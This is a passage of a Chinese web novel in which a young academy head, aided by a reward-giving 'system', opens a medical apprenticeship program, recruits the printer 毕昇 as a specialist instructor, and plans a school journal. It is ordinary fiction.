既然如今书院里学生众多,很多思想都难以达到迅速统一与理解,那他为什么不干脆开设这么一个通道,与大家及时交流呢? 就像是学校期刊一般。 每月一办。 将一些不好说的,口头上难以概括的,统一当作观点发布在上面,然后引来大家一起谈论,这样也方便后续的学生们入学补课,翻阅理解。 尤其是讲故事的日常任务,他总是忘记了自己说到了哪里,何处说过,何处又没说过。 若从头讲起,又很麻烦。 倒不如干脆写下来,做个纸质留存,也省得重复好几遍。这样想听的学生们也有了查找的地方,可以轻易跟上进度。 而学生们也可以将他们的问题和困惑发表在上面,寻找共鸣,方便书院里的老师们 及时摸透大家的进度,随时答疑解难。 第52章 第52章收医学徒 说干就干。 童启直接请人在后山温室大棚旁边的空地上,另搭起了一间小屋子,专门用来放置活字印刷术的一应设备,并从小厮堆里提拔起了两个人,专门负责此事。 今后书院里一应打印事宜,例如报刊、卷子、各类读书笔记、冷门书籍等,都得到了很大的效率提升,而这两位小厮,也成功收获了无数艳羡的目光。 上一次的职员大招募,书院里进来了不少新人,但因着童启又是忙府试又是忙蹴鞠大赛的,压根没有时间一一去考察和记人,所以这次他特意腾出时间,好好观察了一番,这才从里面寻到了两位沉稳话少,做事不偷懒且聪慧有度的。 一位叫做墨竹,一位叫做流苏,皆是童母从人牙子那里买回来的死契。 据说去年黄河决堤后,家里死光,只剩下自己一人,所以才自卖自身。 他们本就感激华夏书院的救灾一事,进入华夏后,更是勤勉用心,如今听到童启说令他们负责印刷一事,更是兴奋激动难以自持,当下便恨不得夜以继日,将事情做好,为此常熬到大半夜,去研究活字之事,幸而被童启发现,屡次规劝,这才勉强放松了一点神经。 第一批印刷的东西,童启没打算搞得太花里胡哨。 恰好逢医科招生,需要宣传。 系统虽没有发布任务,但童启本着“老师都请来了,肯定学生也要安排上”的逻辑,准备在整个河南府大肆招人。 不同于科举学生尚且需要一定的门槛,这一次,他打算走统一学徒制度。 定向招收。 男学生二十五人,女学生二十五人。 不需要学生们拥有基础或者识字的能力,只要你愿意学医,且记忆力惊人,能够快速理解一些医学原理即可。 他害怕有那学生家长不识字的,凭白错过过去,特意还在宣传单上印了简笔画,充分讲解着此次华夏书院招收医科的原因。 乃是为了培养更多的医生,减少大家看病难、治病难的成本问题。 不收学费!不收生活费! 所有学生一旦入校,皆归书院统一管理。 五年学内容,三年去实习,实习期间所出所得,皆归书院所有。 拢共八年才能够毕业,之后婚丧嫁娶,恢复自由。 因着光学习就要八年,所以这次的招生年龄自然就限制颇多,所有超过十岁以上的,皆不要。 男子班由邢御医负责,女子班则由请来的张小娘子负责,除西医实践理论及考试大家是一起的,平日里则各自授课。 并不一同。 至于那西医实践理论嘛,嗯,只能童启照本宣科,按照系统发的西医入门书籍,亲自讲授了。 没办法,谁让这个世界能够理解这些文字和逻辑的,目前只有童启一人呢? 听闻山长要亲自去教授医科,不少一二年级的学生们都感到十分惊奇。 尤其是汪启元和吴韧等人,他们算是第一批学生,已然知道山长的学问有多深了,但是万万没料到,对方竟然连医学也略懂一些!于是纷纷商议着,要抽时间一起去听一听。 看看山长讲授的“西医”到底是何物。 伊川县的章县令是最早知道这件事的人之一,看到那印发出来的宣传单更是新奇。 他问向一旁的童继本,道,“听说你们山长这一次连女子都收,真的假的?” 童继本局促的点点头,“山长仁爱,认为医学并非男子一科,女子也需要,所以打算分类教学。大人放心,届时会由不同的老师进行授课,并不在一起。不会出什么差错的。” 章县令这才松了一口气,放心的点点头道。 “那便好。” 他虽不知童启的目的如何,可怎么想也觉得学医乃是功德一件,这年头好大夫实在是太稀缺了,若真的能定向培养出一批,那届时河南府,倒是不愁治病看病之类。 因此即便觉得女子学医有些敏感,他也并没有阻止。 而有着当地县令的推波助澜与默认,华夏书院再次招生的事情,顺利的惊动了不少县城。 尤其是那印出来的宣传单,花花绿绿,看起来极为漂亮,更是得到了不少闲散人士的哄抢。 这些小广告,童启一共印了将近三千多张,刚拿下山,还没派发,便瞬间被人“洗劫一空”。 有的没抢到的,后期甚至被喊出了高价,打算用银子买,用作收藏,可即便如此,也没有买到。 谁也不傻,这年头,信息就是第一生产力,但凡能考入华夏书院的,别管是做什么,便等同于拥有了大好的前程,不仅得来的是身价的飙增,还有着全家的希冀与期待。 自然知道的人越少,竞争起来也就越好了! 恰好隔壁县的郭家小货郎来此买卖,听到消息后,也趁机抢到了一张,顿时连生意也不做了,背着满满当当的货便掉头往家跑。 这小货郎在家里排行老三,上头还有着两个哥哥,因着没分家,大家都挤在一处。 每日人多地少,互相看着,摩擦便多了起来。 尤其是哥哥们皆有儿子所出,只有他家存有一女,名为虎妞,话里话外,难免便受到了一些排挤。 “不是我说,老三家的,你也太惫懒了些,肚子不争气也就罢了,怎么连活也做不利索?这都快晌午了,连米都还没买回来?等婆婆醒了,又该吵嚷了。” 一妇女坐在东边窗台下,磕着瓜子,挺着大肚子,一副看热闹的模样。 老三家的小心翼翼看了一眼东边的窗户,低声问道,“可是婆婆尚未给我银钱……” 这没有东西,我去哪里买米呢? “没钱你就不知道自己先垫着吗?”东边屋子里听到动静,顿时冲出来一个老妇人,眉眼皆带着凌厉,怒瞪道,“别以为我不知道,老三成日里在外出货,肯定存着体己呢,你们还跟我要钱?怎么,拢共就一个丫头片子,难不成还想着将东西全留给外人吗?” 老三家的被骂的不敢抬头,只得暗自垂泪。 这时,屋里走出一个小女孩来,护在她的身前。 眉清目秀,干净整洁,光是一双眼便灵气逼人,她俏生生的反驳道。 “奶奶也别这么笃定,生的多不代表质量就好,说不得以后大伯二伯家几个孩子加起来,尚不及我一个呢。到时候养老,不还是得靠我们排行老三的么?” 老大媳妇和老二媳妇纷纷唾了口唾沫,骂道。 “呸,小孩子家家,也不怕风大闪了舌头!” 虎妞则调皮的笑了笑,拉着母亲的手一起离开,去菜市场买米去了。 刚走到半路,恰好遇到那郭家小货郎往回赶。 直接截在了半道上。 “爹,你怎么回来了?” “虎妞?正好你在,快来看,听说华夏书院要招医科了,还收女娃哩!” “什么?” 没想到父亲出门半日,竟然带回来这么一个消息。 她接过那张宣传单,一字一句看过去,顿时欣喜无比。 自识字以来,虎妞最喜欢听的,便是关于华夏书院的事,上一次蹴鞠比赛,她甚至还撺掇着自己的父亲带着她一起前往观摩。 当时见到那书院的时候,便想着,若有一日能在这里面读一日书就好了,一定能令她幸福死。 没想到,机缘巧合,竟然还有梦想成真的一日! 小货郎看着自家女儿,信心满满,当场便跟妻子说了报考之事,可对方却表示非常担忧。 “这……一个女孩子家家的,去当学徒,还一走就是八年,等出来后,会不会不太好找婆家?” 毕竟虎妞已经快九岁了,再等两年,便能够相看人家了,这若是去读个医科,延到毕业,可就是个妥妥的老姑娘。 谁还愿意娶呢? “哎呀,若真能考上那华夏书院,还要什么婆家?”郭家小货郎双眼发亮的畅想着。 “咱家虎妞如此聪慧,可比那几个傻侄子要聪明多了,今后绝对是做大事的。若能学会个一招半式的,以后出来自己开个医馆,再招个赘婿,岂不是更好一些?且华夏书院背靠官老爷,没听说就连三皇子也赞不绝口吗,就是以后遇到点什么事,看在咱们虎妞和那么多大人物都上过同一家书院的份上,也没人敢轻易得罪!” 妻子听这话说的有理,当即也不再想着调理身体,莽着劲儿生二胎了,拉着自家女儿,便跟随货郎去了伊川县。 当然,如货郎家如此想的,还有不少人。 河南府,刚刚就职的知府大人顾信之,自然也看到了那宣传单。 他一掌拍在桌子上,冷哼一声道。 “呵,哗众取宠,一个书院不说好好的教学生读圣贤书,整日只知道出些风头,如今竟然还教起了医科,实在是不知所谓!怎么,难不成以为背靠三皇子,便拥有了免死金牌吗?” 他站起身,焦灼的踱着步,心中不免犹豫着要不要给对方下一点绊子来。 这一段时间,他暗地里派人去收集了不少华夏书院的消息。 越收集,便越是心惊。 不过一个十一岁的孩童,竟然以一己之力创下如此声名,成长之快,令人匪夷所思。 若说背后没人操纵计划,他是绝对不信的。 本能告诉他,这绝对是有人在图谋着什么!可偏偏没有任何蛛丝马迹留下,让他抓个正着,即便想发作,也无甚源头。 突然,他想起一事,问向旁边的小厮。 “我记得童启扬名之前,曾在县衙里和人辩学,据说还因此打败了一位举人,致其疯癫,那位举人,莫不是就是王举人吧……” 当时对方还写过信给他,报过冤屈。只可惜他事忙,只是匆匆派了个人来此调查一番,便放下了。 如今想来,怪不得他觉得童启和华夏书院颇有些耳熟呢? 合着还是“老交情”了! 这么说,从那个时候开始,对方就猖狂起来了!不仅恶意针对举人,还争抢学生,当场逼疯对方? 实在是过于嚣张! 那小厮被问的一头汗水,他哪里敢说,当时派过去调查的人便是他呢? 本想着一个小书院罢了,能翻出多大的浪?谁能想到,如今还有再次对上的可能? 他小心翼翼的咽了口唾沫,努力总结着言语,道。 “似乎是同一个人没错,可当时谁也没料到,那华夏书院的山长竟会是如此小的年纪啊?且王举人已然疯掉了,什么话都问不出,当地的章县令又颇向着华夏书院,一心想要大事化小,小事化了,所以底下的人慑于威望,便没开口。” 竟还有此事? 顾信之闻言,是既惊又怒。 惊是惊讶于童启小小年纪,城府之深,竟然能将当地的县令、举人玩弄于股掌之间,怒则是对方如此狂妄,在做下这事之后,不仅没有任何愧疚之心,还敢堂而皇之的收学生、举办蹴鞠大赛、开医科,这简直就是没有将王法放在眼里嘛! 想到此,他拿起旁边给胡丞相写的回信,不由提笔将此事一并写了下来。 一同寄出。 且说顾信之正忙着给上级告状,寻求意见,而京城里的三皇子出去了一趟,参与一个书院蹴鞠大赛的事情,也被传的沸沸扬扬。 相比起华夏,整个大奉朝里最出名的,还要属国子监以及北边的文昌书院。 再不济,也是南部的求真书院。 就连龙胜,都不算是什么厉害的地方,根本抬不到桌面上来,这怎么就突然能够吸引着一朝皇子,前往参加了? 四皇子听闻后,不屑一顾,道。 “老三也是越发没本事了,不过一个小小的书院,也值当着亲自走一趟?没得丢了皇家的脸面。” 而胡丞相则是跟大皇子细细分析,这背后的原因。 “三皇子根基不稳,国子监与文昌书院又最是厌恶贵妃一党,所以他饥不择食,不管大鱼小鱼,只要能捞到即可,病急乱投医,也是正常。” “那……用不用提早防范?”大皇子警惕道。 胡丞相摆了摆手,随意从棋盒里捞出一子来,下在闲处。 “山野之地而已,不必在意。” 别说什么书院了,即便是已经入了朝的官员,又能如何? 最后决定站位的,不是出身,也不是师承,归根结底,皆是利益罢了。 更何况,一个文官走到朝堂需要多久 从童生到一路考入京,花费的时间与银两,不可估计。只怕圣上都殡天了,那什么书院还一个人都进不了朝堂呢,龙胜不就是如此吗? 只一个许翰林,便宝贝的跟什么似的。 呵,目光之短浅,就如同井底之蛙一般,不足挂齿。 京都的舆论向来更新换代的快,三皇子亲自参加某某书院蹴鞠大赛的事情,就如同凭白在水中投下一子,泛起涟漪,但很快又重回平静般。 不到一两周,便迅速被其他事情所挤占,重新被大众抛之脑后。 反倒是谢家的嫡长子谢文斌回家多问了几句,道。 “父亲,那华夏……是不是就是清虚子曾点名说过的书院?如今庶弟就读的那家。” 应该不会这么巧吧? 谢家家主沉吟两下,拿起收集起来的书信查阅了一番,没想到还真的是同一家,颇感疑惑。 “确实是同一家。这便怪了,这清虚子,向来是最清楚咱们家的,怎么会贸贸然,让咱们派人去那三皇子旗下的书院呢?” 他们自家可还有妃子也在宫里呢! 与三皇子和贵妃可都是同属于竞争者,哪里有不扶持自家的小皇子,转去扶持其他皇子的? 简直莫名其妙。 难不成清虚子也叛变了? 谢家家主茫然了两瞬,摆摆手,“罢了,他既然属意于三皇子,那便是看不上咱们家的关系了,就当是随手扔的一道废棋吧,看来你那蠢弟弟是靠不住了。明年的会试,你可有打算了?谢家的未来,终究还是靠你才是。” “父亲莫担忧,国子监祭酒已经允了我明年下场,想来金榜题名,应是无碍。” “好好好。” 谢家家主问了一下学习的进度,趁机考较了一番,这才满意的放自己家儿子离开。 直到退出主堂,看不见人,谢文斌这才算松了一口气,彻底安下了心。 身为谢家长子,他最是防范的便是这些底下的庶弟们。 比起外人,这些人更像是藏在暗处的蛇,稍有不慎,便会冲上来咬他一口,从他身上硬生生撕扯下一部分利益来,因此比起自己,他更在意这些兄弟们的未来,在听到庶弟没有指望后,这才算如愿以偿,回去继续温习起自己的书来。 第53章 第53章原作上门 而华夏书院内部,关于是否站位三皇子的事情,童启同样有话要讲。 “三皇子?我没说要支持他争储啊。” 童启理直气壮的坐在办公室内,看着一脸茫然的潘阆和清虚子等人,回答道。 “我只是邀请他来观看咱们的蹴鞠赛而已,再说咱们也无法保证每个学生到最后都能够官途平坦,若有那实在是考不上,又想要去官场就业的,这也是一条路径罢了。可并不代表咱们书院 中出来的所有学生,都属于他的旗下。” 笑话,我为什么要冒着风险去站位皇子啊? 他们开的是书院,本就是培养人才的地方! 至于人才毕业了,想去哪个“公司”工作,那又不归他们管。 鬼谷子的徒弟尚有站位不一样的呢,他一个山长,又如何能保证所有学生想法和他一致呢? “只要能够成才,走哪条路不是走?不管将来选择和谁合作,那都是他们自己的想法,我们做老师的不必干涉太多,充其量也就只能影响他们一部分的认知罢了。而为孩子们创造更多路径,供他们自由选择才是我们应尽的义务。” 大家来上学图什么,不就图个好出路吗? 若是有一日,连饭都吃不起了,还管得着什么其他? 更遑论站位问题! 各人有各人的缘法,不管他们将来站在谁身后,只要不忘初心,不丢了他们华夏书院的名声即可。 如此,他便算是满足了。 办公室内的先生们都被这番“厚脸皮”言论所惊到了。 他们似乎从未想过,竟然还能有受到皇子邀请,答应了,却不履行的可能!这不就是纯吊着吗? 三皇子会允许? 童启拿起和对方聊天的信件,笑得无辜又可爱,“我觉得他似乎看不出来这两种的区别,而且,应该还挺喜欢咱们书院的。” 众先生们:…… 见童启毫无拉帮结派、创立自己门风的意思,潘阆实在是难以理解,不禁问道,“那你呢?若有一日,你和他们一起站在了朝堂之上,意见起了分歧,那应该听谁的?” 总不能先生还得顺着学生的意见吧? 大家早习惯了门阀制度,谁是老师,谁便是领头羊,为师者可以轻易的号令一众弟子追随跟从,不然培养学生还有什么意义?不就是令他们传播自己的所思所想,共同攻坚所谓的敌人么? 可童启不这么认为。 他觉得每个学生都是独立的个体,有自己不被干涉的人生。 “如果我说的对,大家自然听我的,可若是我说的是错的呢?”童启不假思索道,“每个人的想法都会有一定的局限性,我不敢保证自己就永远是对的,相比起所有人都听我号令,我更希望看到学生们遍地开花,各找各的道路。” 一味固化,并不就代表着进步。 与他不同,也并不代表着忤逆,很可能是寻到了更好的适合自己的方式。 每个天才不都是站在巨人的肩膀上的吗? 而为师者,更多的便是担当起那个肩膀,承托着学生们往上走,去寻找更多的可能。 “但今后若是你的学生们反因此互相攻坚,各自为政呢?”温叶辞同样忍不住开口道。 童启挑了挑眉,想起了前不久刚刚完成的拉帮结派任务。 他相信,有着那一次狠狠的“预防针”,这种事应该以后都不太可能会发生了。 可若是真的发生了…… 说实话,那也不是他能够阻止的。 “大道为公,只要是为了百姓,为了天下,有不同的想法也是正常,我们无法干预,更无法做那个公平的评判者。唯一能做的,只是尽量在那些事情发生之前,为大家定下底线和规则罢了。” 比如在哪个范围之内,竞争,是正常的。 可一旦越过哪个范围之内,便是过分,需要阻止的。 这些,都需要做老师的去一一告知给学生才行。 许多人都没注意到,其实规则的制定,才是真正的思想渗透。 要想让一群天生就讲阶级的人,逐渐抛弃原本的一套认知,改为华夏书院的想法,这本身就很难。 而华夏书院天生就具备这种条件,封闭、新式、规律、平等。 一天两天的,也许看不出来,可一年两年,三年四年,这种影响是潜移默化的,等真正渗透进入的时候,大部分人其实已经遵循起新的一套规则了。 很难再重新换回去。 童启便是一直这样做的,和风细雨,将规则隐匿于平日里的课堂、生活之中。 再三褒贬、规范。 但凡有明眼人注意到一开始学生们入学时的样子,再注意到如今学生们的模样,便能够清楚童启的影响力改变之大。 而这也是为什么整个书院里的学生们看似不算亲昵,却能够保持上下一心,认知一致的原因。 简单和先生们互通了一下认知,童启继续琢磨起他的博士引进任务来。 可不同于前两个来的那么巧合,第三位能够担当的起华夏书院医学博士一职的,实在是少的可怜。 且不说大部分好的医者都是可遇而不可求,即便是能力达到了,人家基本也都是秘不可传,很少愿意分享出来,给这么多人的。 眼看着两周即将要过去,系统也不由的急了起来。 “要不你先随便招一个人,把综合教学楼给解锁了,不然回头时间紧急,万一失败了,你可是真的会死的!” 童启瞄了一眼桌子上的老黄历,摆了摆手,“不急,反正还有两周,我再找找吧。毕竟学医的,还是要慎重一些,不然教错了,那可不是一两个人的问题,先招学生吧,等招完学生们,也不迟。” 这一次的医科招生不同于以往,童启基本上一个人都没见,直接全部放权给了张小娘子和邢御医负责。 毕竟今后主要带课的还是这俩人。 他们用了一大堆的药材来考验学生的记忆和认知,一忙便是三日之久。 小花全程在旁边帮忙,来回递着东西。 作为医科第一个正式进入的学生,她身上实在是背负着太多的视线,不仅有着山长的器重,还有着作为一个女子考入华夏书院的特殊感。 童启也不回避,直接大剌剌将其点为了班长,负责整个西医课程的一应准备事宜。 他将一些基础的简单知识一股脑教给了她,连同医务室也暂时交给了她负责。 “这是酒精,之前咱们提纯过的,你应该知道,主要用来消毒,这是纱布,这是夹板,所有的东西都必须清洁消毒之后,才能用。这两张贴着的人体解剖图以及人体穴位图,你要尽量去背会。其他的药品我暂时没有,可能需要后期你自己带着学生们一起去研发,等人多了,你们可以向账房那里申请研究资金,我会让人直接批钱给你。” 小花连忙点头,乖巧不已,手里拿着小本本一字一句的按照山长所说的记下。 她如今已经穿上了华夏书院正式的校服了,除了在胸口处单独锈着一个红色的鸽子图案,能够一眼区别他们的学院外,和隔壁的科举班并无区别。 这个机会有多难得,她十分清楚。 因此即便山长有很多东西都讲的极其晦涩,闻所未闻,她也尽力去记录理解,先一股脑背下来再说,回头再慢慢整理。 对于两位医学博士,她更是分外恭敬,令邢御医和张小娘子非常满意,同时也清楚了童山长那句适合学医,到底是什么意思。 小花似乎是天生的医者,对于很多药材的辨别,都有着极强的敏锐性,常常听了一遍便能够迅速记下来,甚至连带着它的使用方式,剂量、味道都能够一清二楚。 用药更是大胆心细,令人偶有意外之感。 即便邢御医一开始并不认可女学生,几日下来,也不得不感叹童山长的识人功夫,确实厉害。 这一次报考的学生依旧很多。 甚至不同于上一次来的都是小有资产的人家,这一次,大部分人都是赤脚走上山的。 带着各种铺盖卷,往山上山下一滚,便由此排起了队来,吓得沧澜山下的村子里怕他们半夜出事,特意带了不少人昼夜巡视,这才勉强将所有人都给面试完毕。 不少村子里的村民们同样也派了自家的孩子过去,就连邻居王婶也连忙让自家儿子去试了试。 大家就像是抽彩票一般,存着这个心思。 足足进行了三日,才总算是招够了人选。 因为老师还没有来齐,综合教学楼尚未解封,童启只得暂时将教学楼的三层开辟出来,供给医科的学生们用。 二楼则是用来充当老师办公室,正好由此隔开两个学科。 伴随着教学楼的满满 当当,学生宿舍楼也因着这五十个人的进入,变得热闹起来。 童启在一边单独开设了一个门,用来通行。 左边一二层属于男寝,右边一二层属于女寝,泾渭分明,互不打扰。 同时学校里的时间也重新进行了大调整,科举班的学生们统一早上六点半开始起床跑操,然后吃饭,八点上课,十二点下课,午休后,14点上课,18点下课,晚自习则是一口气,从19点上到21点钟。 医科的学生们分为两班,除了童启目前带的一节西医公开课,是两边一起上,其他时候,邢御医和张小娘子各带一个班级,分别错开一个小时,各自教学。 考试则是同一套卷子。 童启的时间一下子变得再次紧迫起来,他不仅需要带整个二年级的进度,偶尔给一年级讲讲经史策论,每两日还要给医科上一节公开课。 说好的报刊一下子被延期了,恰好这个时候有人拿着之前的招生广告宣传单找上了门,说是书坊的少东家,要寻童启,一起商量赚钱之事。 他原本没打算去,可在听到对方的名字后,忍不住怀疑起人生来,三步并作两步,直接便来到了会客厅内。 “你说你叫什么?” 童启一把搀扶起这个看起来才二十多岁,身着短打,精神利落的年轻人,眼中尽是激动之色。 对方疑惑两秒,再次报上自己的姓名。 “在下名叫毕昇,乃是湖北黄冈英山县人。目前在河南府开了一家书坊,因看到了你们的招生简章,感觉这印刻之术十分特别,所以特想来此一观,寻求合作。” 童启的大脑整个宕机了一秒钟,紧接着便闪过了一连串啊啊啊啊的刷屏。 原作找上门了! 这是他的第一想法。 初得到活字印刷的模板套装时,童启便特意问了问周围,知道此时这玩意还没被研究出来,起码还得有个二三十年才行,但他想着反正不是大规模,只在自己家书院里用,应该没什么影响吧。 却没想到,竟直接把原作给吸引了过来! 啊啊啊啊这算不算是当着面儿抢了历史大佬的功绩啊? 童启心虚了两秒,似也没想到如今的毕昇竟然会如此年轻,而且就在河南府。 听到要合作的话,他早已经是汗如雨下,生怕下一秒对方就给自己要起了专利权。 奈何毕昇却只是施施然行了一礼道。 “实不相瞒,如今的印刻技术我认为还是有着很大的成长空间的,只是可惜在下蠢钝,难以想到提高这印刻效率的方法,听闻华夏书院的招生简章短短一两日竟然能印出三四千份之多,我便知晓一定是有着什么改进之策,若阁下不愿令人观摩也没关系,我手中恰好有一批书需要紧急印刻,若能借您这里印刻出来,我愿意付您八成的收益。” 童启愣了两秒,连忙将其扶起道。 “先生客气了,说来这也并非我一人的功劳,我也只是偶然从一本书上看到的法子,并非原作,若您想要一观的话,我可以带您一起去逛逛。流苏,还不快去收拾印刷房!” 童启伸出手,殷勤的带着毕昇穿过书院内的长廊,往后山走去。 不少人好奇的打量着,头一次见到山长如此客气,不由揣度起这年轻人的身份来。 且说两个人边走边聊,谈了不少印刷之事,童启原以为对方只是对活字印刷术感兴趣,可越谈却越发现,对方的数学逻辑能力极强,连同着还拥有不少机械、地理、自然科学、天文等浓厚的知识储备与阅历。 童启惊讶不已,不由驻足而视。 见他如此表情,毕昇微红了脸,摸着后脑勺解释道。 “嗨,不过是喜欢看一些冷门闲书罢了,家中自小便是开书坊的,所以耳濡目染,各种杂七杂八的书便皆读过一些,我个人比较偏爱这种少有人研究的类型,感觉可以启发人思考,十分有趣。” “说来也巧,我脑海中也曾出现过用移动的单个字模代替雕版的想法,可大部分的泥模都不容易保持形状,再加上用几次便烂掉了,不具有实际性,可换做金属的话,耗费又太多,没想到竟被你们先研究出来了,实在是厉害……” 童启见毕昇满眼赞叹,所说皆真心诚意,不由心思微动起来。 他悄没声问向系统,道。 “统子,那个招专科老师的任务,有说必须得是医科吗?我如果招一个物理学家或者是发明家进来,专门教授小众课程的话,是不是也能算是专科博士呢?” 系统被问的卡了一下,再次查看了一眼任务,犹豫道。 “按理说……是可以的,并没有说专科一定得要是医科,但是如果你招了物理博士,难不成还要再收一波学生吗?” “谁说招了老师就一定要收学生的?” 童启笑道。 以往,他都是根据老师来招学生,可是明明他们学校里其他的课程也需要博士入驻的啊?像物理科学这种类型,难不成科举班就不需要了?万一回头去偏僻的地方任职呢?医科更是需要采药、研发,若是有专门的发明家帮助整理思维,那岂不是锦上添花? 不说别的,光是策论就需要很多形形色色的知识体系,用来扩充眼界的啊! 现代很多大学里还有着入职教授,并不教书,只负责带项目,带学生的呢。 怎么就不允许他们书院,也拥有一个特聘教授呢? 如此琢磨着,童启也不由存了将人留下的想法来。 第54章 第54章创办校刊 如今的后山,更像是华夏书院的一个待开发地界,许多未成形的东西都被扔在这里,等待运用。 还未走到印刷房附近,只看到了那温室大棚,毕昇的眼睛便瞬间亮了起来。 “这是……” “哦,这是我们书院正在研究中的反季节蔬菜种植基地,还包括了一些市面上少见的蔬果培育,您想进去一观吗?” “我可以吗?” “当然。” 童启像是一个急需展示自己东西的小朋友一般,为对方拉开了温室大棚的门,一股热量扑面而来,令毕昇忍不住啧啧称奇。 “原来如此,这世界上还有这样的方法,只要将土壤的温度和湿度进行控制,便能够在不同的季节结出瓜果,实在是心思巧妙,令人罕见啊。” 毕昇细细的环视左右,仰头注视着这特殊材料构建出的棚顶。 地垄里各色的瓜果鲜艳欲滴,被码的整整齐齐,一看便是被人精心照料过的。能耐得住性子,独自整理出这么大一大片菜地来,不管是真的喜欢,还是只是做个样子,都足以看出童山长对农事的重视程度,毕昇心中不由对华夏书院的好感度,再次提升了几分。 “可即便如此,我还是很好奇,你们是如何做到精准的把控这室内温度的?举目之下,并没有看到什么汤瓶温器之类的用作辅佐,难不成只是依靠自己的身体感觉去做调整吗?” 不愧是毕昇,一问便问到了点子上。 童启挑了挑眉,暗暗感叹,这便是专业人士和外行人之间的区别了。 上一次他给龙胜书院的老师学生们展示这温室大棚的时候,大部分的人都只注意到了新鲜的蔬果,以及这里面的温度模拟,却从未注意到这调节管控温度的,到底是何物。 温室大 棚,逻辑上看似很简单,一眼便能清晰明了,即便找不到合适的材料,依旧有其他的代替品。 可为何难以仿照呢? 便是因为实时监测温度,实在是太难了。 如今在整个大奉朝境内,尚没有这样的物品存在。 唯有华夏书院借着温室大棚解锁的光,意外蹭到了系统里的一支。 童启笑着将旁边墙上挂着的温度计取下,递给毕昇看。 只见那琉璃般的外膜,里面刻着许多精准的刻度标记,一道银色的液体被积压在其内,随着温度的不同变化缓慢升高、降低。 “这是……”毕昇难以置信的抬起头,看向童启,“道教炼丹用的赤汞吗?” “正是,我将它叫做,水银。” 童启拿过那东西,简单为其讲解了一遍水银的用法,以及为什么采用这种物质来观测温度。 毕昇全程听着,频频点头,即便童启偶尔采用了一些较为复杂晦涩的词汇,但是他却像是毫无隔阂一般,只稍稍作思考两下,便很快理解了过来,全程专心致志,连眼神都没有错开半分。 童启看在眼中,更觉这是个不可多得的研究人才。 于是开口道。 “不知足下如今在何处任职?也许这话听起来有些突兀,但是我真心觉得您非常适合我们华夏书院的整体氛围。恰好最近我想要招聘一名博士来负责科举班及医科学生们的研究工作,您这样喜欢思考、研究各类物品,又才学广博的人,实在是再好不过!若不嫌弃的话,不妨留下来多看几日,也好让我们书院,展示一下教学的诚心!” 毕昇愣了愣,惊愕不已。 他从未想过华夏书院竟然会邀请他来担当博士!他只是一个再平常不过的书店老板罢了,哪里就有资格教授科举的大老爷们了? “不不不,童山长过誉了,我只是一个开书坊的,并无甚长处!更不会教学……” 童启不容拒绝,一把揽住毕昇的手,言辞切切,微仰着头,劝道。 “怎么会?我说你有长处,你便是有长处,难道你就不想看着更多的神奇物品在你手下诞生吗?除了活字印刷,我这里可还有着不少好东西?你难道就不想要试一试?” “何况,没教过学生有什么打紧,你又不是正儿八经的经义老师,不必那么大的负担!我们书院一直鼓励学生们多方面发展,遍地开花。所学的知识不仅是课本上的,还应该有更多实际的东西,让你帮忙讲解这些,也只是希望他们扩大眼界,增广阅历罢了。” “您只需要偶尔为学生们讲讲课,捋捋思路即可,剩下的,我自会帮您一起负责。保证绝对不会干扰到你正常的生活的!况且,您不是要合作书坊吗?我可以免费给您一套活字印刷的模板,随您用在哪里都行,只要您愿意做我们的专科博士,一切皆好商量。” 毕昇来不及开口,童启已经叭叭叭讲完了所有。 话都说到如此份上了,情真意切的,若再不应,多少就显得有些不知好歹了。 他强忍住汹涌蓬勃的泪意,只感觉一腔热血都被对方调动了起来,从小便有不少人取笑他喜欢的这些东西乃是杂类,无用之事,这还是第一次有人如此盛赞,尊崇。 告诉他这是独特的,有价值的。 仅这一句话,似乎便洗刷了他长达二十多年以来的压抑和屈辱,令他重振风骨。 “若蒙山长不弃,毕昇愿效犬马之劳,留下任教!” 他心甘情愿的抱拳行了一礼,恭敬十足。 【叮,恭喜您完成引入三位专职老师的成就,奖励解锁综合教学楼一栋,望宿主再接再厉!】 伴随着最后一个老师被招进书院内,童启的抹杀任务,也终于完成! 他没有急着查看,依旧带着毕昇参观完印刷房,将书院里很多事情都一一为其讲解了一番,并带着他与其他先生们皆见了面,办理完入职手续,这才回到自己的单独办公室,打开了系统页面。 综合教学楼坐落于教学楼的北侧,正好挨着后山入口,与其并列。 童启干脆采用3D视角,手动修改了一下大门的位置,让其与后山的出入口合并,然后在教学楼和综合大楼之间,竖起了一堵白墙。 就如同天然的屏障一般,顺带着加了个长长的走廊。 横贯在两楼之间。 这样,医科的学生们便不用跨过大半个操场去吃饭了,而是可以直接从长廊穿过去,不见到任何一个科举班的学生,便可轻易到达宿舍楼与食堂等地。 具有很强的密封性。 书院由此被分隔成了两半,前半部分属于科举班,后半部分连带着后山,则一起归于医科。 综合教学楼可以说不愧是主系统出品,就是大方,一共四层,每一层两个大教室,外置装潢和现代并无多大区别,不像是教学楼那般古色古香、奢华富丽,更多的是兼具实用性,光是一个教室,便能够容纳下一百多人,类似于大学的那种阶梯教室一般。 医务室则单独附属于其旁边的建筑上,一个红顶白墙的小房子。 里面是最基础的那种医馆配置,四张床,两个柜台,后方摆着不少中医药柜及人体医学图,还有简单的医学用品。 童启转了几圈,便直接将老师们的办公楼搬到了综合大楼的一层。 而二楼、三楼则留给了医科的学生们,四楼用来放置一些中医学科的基础药品之类的,再优秀不过。 为了不耽误中医教学,童启还特意从小金库里掏出了二百两银子,购买了不少基础的中医药材,放在办公室里,方便两位老师随时取用。 他兴奋的站在新办公室里,跟老师们畅想着自己的新计划。 “我打算在咱们书院里办一所报刊,一个月一发,就用咱们自己的印刷设备,类似那种普通话本一般的厚度,十六开大小,其上登上不同学科的文章知识以及讲解进度,用来和学生们统一步调。纸张倒是不必太好,只要能看清即可,像是一些经书史记啊、医科基础杂谈啊、自然地理普及啊,都可以写在上面……” “我也会想一些小故事,引入入胜的那种,一并记录下来,这样方便今后的学生们入学学习的同时,也方便学生们留存纪念,查漏补缺,大家觉得如何?” 潘阆捋了捋胡须,点点头,“这倒是一个好法子,可关键是就咱们几个人,能写的下那么多篇文章吗?” “学生们也可以踊跃投稿嘛,每个人都有擅长的地方,我想的是,可以用这个作为大家沟通的媒介,即便有认知不同的,通过这个互相讨论,也是一种学习成长的方式。” “我觉得可。” “我也支持。” 先生们在童启说完之后便纷纷举手同意,学生们更是毫无反对,一听闻了这个消息,便纷纷整理起自己平日里的学习笔记来。 “你觉得我这篇《颂山长》如何?能被选上吗?” “你那篇太直白了,不如我这篇含蓄,要是我投稿,就投这篇,《论山长蹴鞠之英姿……》” “蹴鞠有什么可写的?创医科收女子才是第一人,要赞也应该赞这些才是!” …… 